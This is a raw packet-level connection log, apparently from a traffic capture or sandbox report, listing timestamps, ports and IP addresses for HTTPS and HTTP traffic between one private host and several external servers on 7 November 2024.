Nov 7, 2024 17:25:38.875842094 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:38.875860929 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.875910997 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:38.876789093 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.878916979 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.878984928 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:38.878992081 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.887731075 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.887792110 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:38.887801886 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.899044991 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.900995970 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:38.901009083 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.906332970 CET	49919	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.906349897 CET	443	49919	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.906419992 CET	49919	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.907454967 CET	49919	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.907469034 CET	443	49919	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.969580889 CET	49920	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.969628096 CET	443	49920	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.969743013 CET	49920	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.969949007 CET	49920	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.969961882 CET	443	49920	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.970196962 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:38.970211029 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.999506950 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.999550104 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.999614954 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:38.999631882 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.999670982 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.001714945 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.001787901 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.002471924 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.002480030 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.010687113 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.012957096 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.012967110 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.020365000 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.020936966 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.020946980 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.071177006 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.072969913 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.072983027 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.121232033 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.121306896 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.121318102 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.122766972 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.122822046 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.122867107 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.122872114 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.122909069 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.132163048 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.148741007 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.148801088 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.148802042 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.148811102 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.148842096 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.155555010 CET	443	49913	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.156210899 CET	49913	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.156229019 CET	443	49913	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.156874895 CET	49913	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.156881094 CET	443	49913	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.159437895 CET	443	49912	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.159778118 CET	49912	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.159792900 CET	443	49912	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.160384893 CET	49912	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.160391092 CET	443	49912	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.192603111 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.229182959 CET	443	49917	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:39.229455948 CET	49917	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:39.229465008 CET	443	49917	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:39.230490923 CET	443	49917	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:39.230557919 CET	49917	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:39.231790066 CET	49917	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:39.231867075 CET	443	49917	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:39.232006073 CET	49917	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:39.232012033 CET	443	49917	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:39.232923031 CET	443	49916	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:39.233129978 CET	49916	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:39.233139038 CET	443	49916	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:39.234210968 CET	443	49916	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:39.234261036 CET	49916	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:39.235646009 CET	49916	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:39.235721111 CET	443	49916	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:39.235852957 CET	49916	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:39.235860109 CET	443	49916	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:39.242567062 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.242624044 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.242633104 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.242657900 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.242719889 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.244510889 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.244602919 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.244640112 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.244646072 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.252465963 CET	443	49918	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:39.253355026 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.253422976 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.253439903 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.254779100 CET	49918	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:39.254786968 CET	443	49918	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:39.255847931 CET	443	49918	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:39.255901098 CET	49918	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:39.264137030 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.264200926 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.264213085 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.264286041 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.264327049 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.264333010 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.266906977 CET	443	49915	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.274642944 CET	49915	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.274660110 CET	443	49915	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.276303053 CET	49915	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.276309013 CET	443	49915	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.279510975 CET	49918	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:39.279630899 CET	443	49918	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:39.280647993 CET	49918	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:39.280662060 CET	443	49918	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:39.285842896 CET	443	49913	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.285867929 CET	443	49913	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.285922050 CET	443	49913	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.285929918 CET	49913	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.285964966 CET	49913	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.286139011 CET	49913	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.286149025 CET	443	49913	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.286159992 CET	49913	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.286165953 CET	443	49913	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.289652109 CET	49921	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.289681911 CET	443	49921	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.289782047 CET	49921	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.290034056 CET	49921	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.290049076 CET	443	49921	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.290796041 CET	443	49912	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.290910959 CET	443	49912	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.290956020 CET	49912	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.291007996 CET	49912	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.291021109 CET	443	49912	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.291049004 CET	49912	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.291062117 CET	443	49912	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.295077085 CET	49922	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.295118093 CET	443	49922	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.295226097 CET	49922	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.295337915 CET	49922	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.295351982 CET	443	49922	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.324651003 CET	49866	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:39.324789047 CET	443	49866	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:39.324958086 CET	49866	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:39.325500011 CET	49920	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.325603008 CET	49895	443	192.168.2.6	18.244.18.122
Nov 7, 2024 17:25:39.325670004 CET	443	49895	18.244.18.122	192.168.2.6
Nov 7, 2024 17:25:39.325719118 CET	49895	443	192.168.2.6	18.244.18.122
Nov 7, 2024 17:25:39.327080965 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.327094078 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.327177048 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.327413082 CET	49917	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:39.328391075 CET	49923	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.328402996 CET	443	49923	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.356698036 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.356738091 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.356818914 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.357414007 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.357426882 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.367331982 CET	443	49920	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.373229027 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.373254061 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.373270035 CET	443	49917	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:39.373291969 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.373312950 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.373325109 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.373338938 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.373354912 CET	443	49917	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:39.373364925 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.373382092 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.373440027 CET	49917	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:39.373626947 CET	443	49916	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:39.373692036 CET	49916	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:39.374063015 CET	49917	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:39.374073982 CET	443	49917	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:39.375017881 CET	49916	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:39.375039101 CET	443	49916	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:39.378823042 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.385773897 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.385811090 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.385869980 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.385890007 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.385898113 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.385907888 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.411046028 CET	443	49915	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.411134005 CET	443	49915	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.411195040 CET	49915	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.412303925 CET	443	49918	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:39.412370920 CET	49918	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:39.413288116 CET	49918	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:39.413295031 CET	443	49918	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:39.416579962 CET	49915	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.416584969 CET	443	49915	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.416615963 CET	49915	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.416620016 CET	443	49915	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.435868025 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.435914040 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.435961008 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.435975075 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.436012030 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.441673040 CET	49925	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.441709042 CET	443	49925	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.441773891 CET	49925	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.443932056 CET	49925	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.443947077 CET	443	49925	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.469732046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:39.469803095 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:39.485910892 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.488271952 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.488328934 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.488338947 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.497267008 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.497307062 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.497343063 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.497359037 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.497369051 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.497400045 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.507498980 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.507544994 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.507553101 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.507638931 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.507791042 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.507797003 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.557725906 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.557813883 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.557827950 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.607870102 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.607940912 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.607950926 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.610994101 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:39.616194963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:39.618235111 CET	443	49914	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:39.618340015 CET	49914	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:39.618777037 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.618895054 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.618926048 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.618947983 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.618957043 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.618972063 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.621356010 CET	49914	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:39.621370077 CET	443	49914	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:39.621752024 CET	443	49914	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:39.623702049 CET	49914	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:39.623760939 CET	49914	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:39.623768091 CET	443	49914	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:39.623925924 CET	49914	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:39.629460096 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.629492998 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.629545927 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.629560947 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.629609108 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.630841970 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.645514965 CET	443	49919	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.646069050 CET	49919	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.646095991 CET	443	49919	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.646604061 CET	49919	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.646609068 CET	443	49919	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.671340942 CET	443	49914	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:39.679912090 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.679999113 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.680010080 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.713505030 CET	443	49920	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.713644028 CET	443	49920	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.713730097 CET	49920	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.713769913 CET	49920	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.730041027 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.730082035 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.730120897 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.730154991 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.730166912 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.730184078 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.740509987 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.740588903 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.740595102 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.740650892 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.740684986 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.740715981 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.740731955 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.740737915 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.740761995 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.740914106 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.740950108 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.741090059 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:39.741142988 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.741161108 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:39.779994011 CET	443	49919	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.780019999 CET	443	49919	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.780073881 CET	49919	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.780082941 CET	443	49919	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.780097008 CET	443	49919	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.780154943 CET	49919	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.782053947 CET	49919	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.782068968 CET	443	49919	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.782078028 CET	49919	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.782083988 CET	443	49919	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.793168068 CET	49926	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.793199062 CET	443	49926	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.793349028 CET	49926	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.793512106 CET	49926	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:39.793517113 CET	443	49926	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:39.874511003 CET	443	49914	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:39.875355005 CET	49914	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:39.875379086 CET	443	49914	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:39.875582933 CET	443	49914	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:39.875662088 CET	49914	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:39.875786066 CET	49914	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:40.020616055 CET	443	49922	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.021179914 CET	49922	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.021209002 CET	443	49922	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.021718979 CET	49922	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.021728992 CET	443	49922	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.040550947 CET	443	49921	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.041538000 CET	49921	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.041555882 CET	443	49921	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.042434931 CET	49921	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.042442083 CET	443	49921	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.059808016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:40.059931040 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:40.072060108 CET	49927	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:40.072086096 CET	443	49927	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:40.072155952 CET	49927	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:40.072702885 CET	49928	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:40.072724104 CET	443	49928	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:40.072938919 CET	49927	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:40.072952032 CET	443	49927	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:40.072963953 CET	49928	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:40.073172092 CET	49928	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:40.073182106 CET	443	49928	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:40.094996929 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.095241070 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.095253944 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.096333027 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.096386909 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.098453999 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.098526001 CET	443	49924	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:40.098839998 CET	49924	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:40.098848104 CET	443	49924	13.107.246.45	192.168.2.6
